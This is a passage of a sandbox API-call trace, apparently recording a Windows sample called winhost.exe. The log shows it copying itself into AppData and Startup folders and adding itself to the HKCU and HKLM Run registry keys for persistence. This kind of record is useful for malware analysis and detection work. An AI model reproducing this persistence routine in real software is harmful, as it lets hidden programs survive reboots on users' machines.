th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="runonce.exe")) returned 1 [0191.170] lstrlenW (lpString="runonce.exe") returned 11 [0191.170] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0191.172] lstrlenW (lpString="winhost.exe") returned 11 [0191.172] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0191.173] lstrlenW (lpString="spoolsv.exe") returned 11 [0191.173] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 0 [0191.174] CloseHandle (hObject=0xe0) returned 1 [0191.174] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5548 | out: hHeap=0x590000) returned 1 [0191.174] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5590 | out: hHeap=0x590000) returned 1 [0191.174] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4a60 | out: hHeap=0x590000) returned 1 [0191.174] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c55d8 | out: hHeap=0x590000) returned 1 [0191.174] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5620 | out: hHeap=0x590000) returned 1 [0191.175] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c4d30 | out: hHeap=0x590000) returned 1 [0191.175] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a49d8 | out: hHeap=0x590000) returned 1 [0191.175] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a49f8 | out: hHeap=0x590000) returned 1 [0191.175] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4618 | out: hHeap=0x590000) returned 1 [0191.175] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4640 | out: hHeap=0x590000) returned 1 [0191.175] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4a40 | out: hHeap=0x590000) returned 1 [0191.175] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4668 | out: hHeap=0x590000) returned 1 [0191.175] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5caea8 [0191.176] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5daeb0 [0191.177] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0191.177] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5a4668 [0191.177] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4668, Size=0x40) returned 0x5c6c68 [0191.177] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0191.177] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5a4668 [0191.177] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0191.177] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5a4640 [0191.177] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0191.178] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5a4618 [0191.178] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4618, Size=0x40) returned 0x5c6cb0 [0191.178] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5daeb0, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x67 [0191.178] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5eaeb8 [0191.179] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5faec0 [0191.180] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0191.180] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5a4618 [0191.180] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4618, Size=0x40) returned 0x5c6cf8 [0191.180] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c6cf8, Size=0x80) returned 0x5c5548 [0191.180] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c5548, Size=0x100) returned 0x5c7e70 [0191.180] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0191.180] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x590000) returned 1 [0191.181] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\winhost.exe", lpDst=0x5eaeb8, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\winhost.exe") returned 0x20 [0191.181] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5faec0 | out: hHeap=0x590000) returned 1 [0191.181] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5eaeb8 | out: hHeap=0x590000) returned 1 [0191.181] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x2080020 [0191.181] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0191.182] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5a4618 [0191.182] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0191.182] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5c5bf0 [0191.182] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0191.182] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0191.182] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0191.182] lstrlenW (lpString="kernel32.dll") returned 12 [0191.182] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4618 | out: hHeap=0x590000) returned 1 [0191.182] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0191.183] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5bf0 | out: hHeap=0x590000) returned 1 [0191.183] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0191.183] CreateFileW (lpFileName="C:\\Windows\\System32\\winhost.exe" (normalized: "c:\\windows\\system32\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.163] CloseHandle (hObject=0xe0) returned 1 [0192.164] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0192.164] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5c5bf0 [0192.165] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0192.165] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5c5ba0 [0192.165] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0192.165] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0192.165] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0192.165] lstrlenW (lpString="kernel32.dll") returned 12 [0192.165] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5ba0 | out: hHeap=0x590000) returned 1 [0192.165] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0192.166] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5bf0 | out: hHeap=0x590000) returned 1 [0192.166] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x2080020 | out: hHeap=0x590000) returned 1 [0192.166] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5eaeb8 [0192.166] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5faec0 [0192.166] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0192.166] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5c5bf0 [0192.166] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c5bf0, Size=0x40) returned 0x5c6cf8 [0192.166] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c6cf8, Size=0x80) returned 0x60aee0 [0192.167] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60aee0, Size=0x100) returned 0x5c7e70 [0192.167] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0192.167] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x590000) returned 1 [0192.167] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\winhost.exe", lpDst=0x5eaeb8, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winhost.exe") returned 0x3a [0192.167] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5faec0 | out: hHeap=0x590000) returned 1 [0192.167] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5eaeb8 | out: hHeap=0x590000) returned 1 [0192.167] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x2080020 [0192.168] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0192.168] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5c5bf0 [0192.168] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0192.168] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5c5ba0 [0192.168] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0192.168] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0192.168] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0192.168] lstrlenW (lpString="kernel32.dll") returned 12 [0192.168] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5bf0 | out: hHeap=0x590000) returned 1 [0192.168] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0192.168] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5ba0 | out: hHeap=0x590000) returned 1 [0192.168] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0192.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0192.204] ReadFile (in: hFile=0xe0, lpBuffer=0x2080020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2080020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0193.116] WriteFile (in: hFile=0xe4, lpBuffer=0x2080020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2080020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0193.638] ReadFile (in: hFile=0xe0, lpBuffer=0x2080020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2080020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0193.638] CloseHandle (hObject=0xe4) returned 1 [0193.641] CloseHandle (hObject=0xe0) returned 1 [0193.641] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0193.642] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5c5ba0 [0193.642] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0193.642] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5c5bf0 [0193.642] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0193.642] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0193.642] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0193.642] lstrlenW (lpString="kernel32.dll") returned 12 [0193.642] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5bf0 | out: hHeap=0x590000) returned 1 [0193.642] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.643] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5ba0 | out: hHeap=0x590000) returned 1 [0193.643] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x2080020 | out: hHeap=0x590000) returned 1 [0193.660] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0193.660] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d30, Size=0x20) returned 0x5c5ba0 [0193.660] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c5ba0, Size=0x40) returned 0x5c6cf8 [0193.660] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c6cf8, Size=0x80) returned 0x60aee0 [0193.661] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winhost.exe") returned 57 [0193.661] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0193.661] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x5c) returned 0x5c5548 [0193.661] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0193.662] RegSetValueExW (hKey=0xe0, lpValueName="winhost.exe", Reserved=0x0, dwType=0x1, lpData=0x5caea8, cbData=0x72) returned 0x5 [0193.662] RegCloseKey (hKey=0xe0) returned 0x0 [0193.662] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5548 | out: hHeap=0x590000) returned 1 [0193.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winhost.exe") returned 57 [0193.663] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0193.663] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x5c) returned 0x5c5548 [0193.663] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe4) returned 0x0 [0193.664] RegSetValueExW (in: hKey=0xe4, lpValueName="winhost.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winhost.exe", cbData=0x72 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winhost.exe") returned 0x0 [0193.665] RegCloseKey (hKey=0xe4) returned 0x0 [0193.665] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5548 | out: hHeap=0x590000) returned 1 [0193.665] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0193.665] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x60aee0 | out: hHeap=0x590000) returned 1 [0193.665] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5eaeb8 [0193.665] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5faec0 [0193.665] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0193.665] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5c5ba0 [0193.665] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c5ba0, Size=0x40) returned 0x5c6cf8 [0193.665] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c6cf8, Size=0x80) returned 0x60aee0 [0193.666] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60aee0, Size=0x100) returned 0x5c7e70 [0193.666] lstrlenW (lpString="") returned 0 [0193.666] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0193.666] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8c) returned 0x5c5548 [0193.666] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0193.666] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x5faec0, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x5faec0*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0193.667] RegCloseKey (hKey=0xe4) returned 0x0 [0193.667] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5548 | out: hHeap=0x590000) returned 1 [0193.667] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0193.667] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8c) returned 0x5c5548 [0193.667] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0193.667] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x5faec0, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0193.668] RegCloseKey (hKey=0xe4) returned 0x0 [0194.194] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5548 | out: hHeap=0x590000) returned 1 [0194.194] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0194.194] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0194.195] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x590000) returned 1 [0194.195] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x5eaeb8, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x68 [0194.195] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5faec0 | out: hHeap=0x590000) returned 1 [0194.195] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5eaeb8 | out: hHeap=0x590000) returned 1 [0194.195] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x2080020 [0194.195] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0194.195] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5c5ba0 [0194.195] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0194.196] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5c5bf0 [0194.196] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0194.196] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0194.196] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0194.196] lstrlenW (lpString="kernel32.dll") returned 12 [0194.196] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5ba0 | out: hHeap=0x590000) returned 1 [0194.196] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0194.196] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5bf0 | out: hHeap=0x590000) returned 1 [0194.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0194.197] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.197] CloseHandle (hObject=0xe4) returned 1 [0194.201] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0194.201] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5c5bf0 [0194.201] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0194.201] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5c5ba0 [0194.202] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0194.202] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0194.202] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0194.202] lstrlenW (lpString="kernel32.dll") returned 12 [0194.202] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5ba0 | out: hHeap=0x590000) returned 1 [0194.202] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0194.202] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5bf0 | out: hHeap=0x590000) returned 1 [0194.202] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x2080020 | out: hHeap=0x590000) returned 1 [0194.202] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5eaeb8 [0194.203] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5faec0 [0194.203] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0194.203] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d60, Size=0x20) returned 0x5c5bf0 [0194.203] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c5bf0, Size=0x40) returned 0x5c6cf8 [0194.203] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c6cf8, Size=0x80) returned 0x60aee0 [0194.203] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60aee0, Size=0x100) returned 0x5c7e70 [0194.203] lstrlenW (lpString="") returned 0 [0194.203] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0194.203] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8c) returned 0x5c5548 [0194.203] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0194.204] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x5faec0, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0194.204] RegCloseKey (hKey=0xe4) returned 0x0 [0194.204] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5548 | out: hHeap=0x590000) returned 1 [0194.204] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0194.204] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0194.204] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x590000) returned 1 [0194.204] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x5eaeb8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x49 [0194.204] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5faec0 | out: hHeap=0x590000) returned 1 [0194.204] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5eaeb8 | out: hHeap=0x590000) returned 1 [0194.204] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x2080020 [0194.205] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d60 [0194.205] 